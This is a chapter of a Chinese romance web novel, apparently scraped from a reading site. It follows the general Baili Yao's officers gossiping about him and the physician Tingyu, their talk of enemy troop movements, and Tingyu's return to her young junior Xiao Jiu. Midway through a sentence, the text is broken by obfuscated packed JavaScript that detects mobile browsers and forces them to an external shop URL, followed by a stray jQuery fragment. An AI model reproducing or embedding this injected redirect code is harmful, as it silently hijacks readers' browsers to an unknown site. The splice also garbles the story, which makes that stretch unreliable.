18. 八卦
作品:《将军总怀疑我是细作》 闻旭和都晏对视了一眼,皆看到了彼此眼里的兴味。
大家都不是瞎子,都看得出百里曜对汀羽的态度有多特殊,不仅和人同乘一骑还贴心地抱人下马,又是给人家披风又是细心叮嘱的,和他过去待姑娘家冷淡的模样截然相反,实在很是新鲜。
等到了百里曜的听松院,闻旭终是没忍住心里的好奇,不动声色地打探道:“你们这趟出去是不是发生了什么?”
百里曜一进院,就直奔浴房,温伯知道他外出回来定是要先洗个澡的,早便准备好了一切,百里曜以为闻旭问的是遇到祁玄的事,随口道:“让颂儿跟你们说,我先去洗个澡。”
闻旭只好拉着崔颂开始细细盘问这一路发生的事情,得知百里曜被黑蛛咬了,祁玄和他打斗一场的事,心惊不已,皱眉道:“祁玄去卧龙山脉到底想做什么?你刚刚说他还想带走林大夫?”
崔颂吃着温伯准备的糕点和水果,听到这一下子没了胃口,愤愤道:“反正肯定没好事,林大夫说她之前和祁玄有过一面之缘,但那也是很多年前的事了,我猜他估计是觊觎林大夫,想据为己有,可恨我最后竟让他逃了。”
他又恶狠狠地咬了一口桃,像是把手里的桃当成了祁玄的肉,瓮声瓮气地骂:“祁玄就是个害人精,伤了我们这么多弟兄,还差点让百里和林大夫产生误会,真是可恶!下次再见到他定要把他活捉然后大卸八块!”
都晏喝茶的动作一顿:“误会?什么误会?”
崔颂叹了口气:“唉,别说了,就百里误会林大夫是祁玄的人,两人吵了一架,要不是我劝他去哄人,估计这会儿还没和好呢。”
闻旭和都晏对视了一眼,闻旭突然压低了声音:“颂儿,你再给我们说说,百里和林大夫之间发生了什么?”
崔颂顿悟,也跟着压低了声音:“我也说不太明白,但我感觉百里很不正常,林大夫给他治疗要脱衣服的时候,我瞧见了,他耳朵红得很厉害!”
“后来林大夫的马发狂,也是他第一个反应过来,不要命似的把人救下来,我还看到他们抱在一起了!”
他说到兴处,声音也越来越大,完全没注意到闻旭和都晏的眼神变化,直到脑袋突然被拍了下,他痛嚎一声,呲牙扭头,刚要骂人的话瞬间收了回去,脸上升起一阵讪笑:“百里,你这么快就洗完了?”
百里曜洗去路途风尘,换上一袭干净寝衣,尚未全干的湿发垂在肩头,颈侧还沾着点水,他悄无声息地站在崔颂身后,黑眸警告似的看了他一眼:“胡说八道什么?”
崔颂做了个闭嘴的动作,指着另外两人,毫不犹豫地出卖兄弟:“是他们问我的,不是我要说的!”
百里曜目光转到对面,一个假装认真地喝茶,一个顾左右而言他:“哎呀,容姨的手艺又精进了,这鲜花糕真不错啊哈哈哈。”
百里曜没让他们忽悠过去,不冷不淡道:“你们在我面前乱说也就罢了,她是个姑娘家,要是敢在她面前胡说八道,就都给我外出巡边去。”
闻旭无趣地撑着下巴:“行行行,不说就不说。”
百里曜这才绕过他们坐在塌上,拿出一瓶伤药扔给都晏:“帮我上下药。”
他褪下上衣,只见身前锁骨下有一道红肿伤口,而肩背手臂处也有几道新的刀伤,如今沾了水又开始发红,叠加在往日旧伤之上,看着触目惊心。
都晏皱了皱眉:“要不要叫林大夫过来看看?”
百里曜想到汀羽疲惫到在马背上睡着的模样,毫不犹豫地拒绝了:“不用,这件事本来就跟她无关,况且她也已经很累了。”
都晏于是不再说什么,将药洒在他背后,伤口顿时一阵灼烧的痛感,这是汀羽给他的药,说虽然一开始会加剧痛感,但疗效显著,坚持用几天便很快会好。
他额头渗出一点汗,面不改色道:“跟着祁玄的侍从里有他们王庭的人。”
崔颂:“祁玄好歹是三王子,他老爹派点人给他应该也不奇怪吧?”
都晏上完药,百里曜利落穿上外衣,搭在桌案上的手无意识地用指尖点着桌面,缓缓道:“那个人不是普通人,是巴图烈最信任的亲卫,我几年前跟随父兄守城的时候见过,之后就再也没见到了,你们知道这意味着什么吗?”
闻旭不急不忙地给他倒了杯茶:“巴图烈将最信任的人派给了祁玄,有可能是他有意扶持他的三儿子当未来草原的王,但也有另一个可能”,他顿了顿,狐狸眼微眯了眯:“巴图烈沉寂了几年,如今准备像四年前那样再次向大靖发兵,那个亲兵是前哨。”
崔颂恍然大悟:“风阙说他们来卧龙山脉看着不像是来采药的,那就是别有所图了?但为何要去卧龙山脉?难道他们还妄想从那儿发兵不成,疯了吧?”
都晏沉思:“也许真的有我们不知道的捷径也说不定。”
崔颂:“呸呸呸,怎么可能!我们还没找到什么捷径呢,他们一群四肢发达头脑简单的家伙还想比我们快?”
都晏瞥了他一眼:“我看你也好不到哪里去,找捷径这种东西需要什么头脑吗?”
崔颂:“都小晏,说话就说话,干嘛人身攻击啊!”
百里曜头痛地扶了扶额:“行了别吵了,总之最近这段时间加强巡边和防卫,护城司的人加快时间调换,在月底之前全都换成我们的人,还有,多注意王庭和祁玄的动静,一有什么消息立刻告诉我。”
他端起茶杯,黑眸静静地盯着茶水,看茶叶在摇晃的水里浮浮沉沉:“......越是关键时候越要防范一些人浑水摸鱼,我决不允许四年前的事情再次发生。”
闻旭几人的目光骤然变化,四周一下陷入安静。
-
汀羽一回到枕月居,第一时间就问小九,春棠说这段时间他这段时间大部分时间都待在止水院,今天也不例外,所以她们今天出去接她的时候没来得及通知他。
汀羽一听,便去了趟止水院,刚到庭院,就和屋内出来的小九迎面碰上。
小童不可置信地瞪大了眼睛,又揉了揉眼,确定自己没出现幻觉,这才从楼梯上一跃而下,扑到她怀里,满心欢喜地叫她:“师姐!你终于回来了!”
汀羽轻轻捏了捏他软弹的小脸,笑道:“听说你这段时间很勤劳哦,小九大夫。”
小九听到她这么叫自己,一下红了耳朵,但眼里闪过喜悦的光,刚要说话,余光瞥见了她手上的纱布,神情一下变得慌乱:“师姐,你的手怎么了?”
汀羽张开手掌给他看,随口道:“回来的路上不小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418207|198779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心被缰绳划的,没事,很快就会好的。”
小九捧着她的手,小眉头皱起,眼底一下就变得湿润:“哪里没事了,都需要缠绷带了,肯定很痛吧?”
汀羽叹口气:“真的没事”,她活动了下指尖给他看:“看,完全不影响我施针,只是掌心磨破了而已。”
小九这才信了些,仰头看着她:“我每天都按照你说的,给那位病人喂药和疏通穴位,他现在状态很适合进入下一阶段的治疗。”
汀羽摸了摸他脑袋,夸赞:“做的很好,看来小九大夫快要出师了呀。”
小九笑了笑,拉着她的衣袖带她进屋,汀羽检查了一番秦照的状态,确实如小九所说,前期的准备已经完毕,只待明天开始正式的治疗。
时间不早,几人回到枕月居,汀羽回房前又问起小九最近的功课。
小九自从拜师后,汀羽这个小师姐同时也是给他传道授业的老师,不时给他安排功课,月底还要考较,虽然教学方式和书孰不同,但她要求颇高,严厉的时候撒娇也无用,如果通不过她的考较,那下一个月便没有任何零嘴吃,当然,也没有零钱。
尽管如此,小九还是更喜欢这种教学方式,他生性热爱自由,不喜欢书孰的束缚,而且最重要的是,他觉得他的师姐才是最厉害的,比那些书孰的老夫子学识更加渊博,自然也更愿意跟着她学。
汀羽不在的这段时间,没有人管他,他哪还记得什么功课,空闲时间不是在吃就是在玩,闻言一下苦了脸,拉着她的衣袖撒娇:“师姐,你规定的那些课业太难了,根本做不完嘛......”
汀羽睨着他,开始还抿着唇,他多说了几句软话,她终于还是心软了:“罢了,看在你照顾病人这么用心的份上,就再宽限你一个月好了。”
小九一下喜笑颜开:“好耶!最喜欢师姐了!”
汀羽也笑了:“好了,快去睡觉吧,不然要长不高了。”
小九顶嘴:“才不会呢,我肯定会长得比师兄还高!”话虽这么说,却还是乖乖跑回了自己房间。
夜色渐深,汀羽准备去泡个热水澡,刚进了浴房,春棠和秋霜下一秒就在外面敲门,说要进来帮她,她一个箭步过去用身体抵住门,只露出一个脑袋,语气有些慌:“真的不用了,我自己可以!”
秋霜一板一眼道:“将军让我们千万不能让小姐的手沾了水。”
汀羽眉心跳了跳:“没事,我会洗快点然后出来擦药的,你们将军也不会知道。”
两边掰扯了许久,最终春棠提出一个折中法子:除了洗澡让汀羽自己来,洗头发等其他事情都须由她们代劳。
尽管汀羽并不习惯生活被人这么亲密照顾,但也无奈接受了她们的坚持。
洗漱过后,还没来得及擦药,她就发现小白蛇不见了,担心吓到两个婢女,于是没有声张,找遍了整个房间,却没见到它的影子,连吹哨也不出来,她只好走出房间,在庭院里找了起来。
“光光,光光......”
她寻到庭院槐树下,槐花花瓣被风吹落在地,满院都是玉白色的槐花花瓣,她怕小白蛇藏在花瓣里,便蹲下身,借月色探着地面,当眼睛扫过某一处时,视线突然顿住。
——她面前多了双靴子。

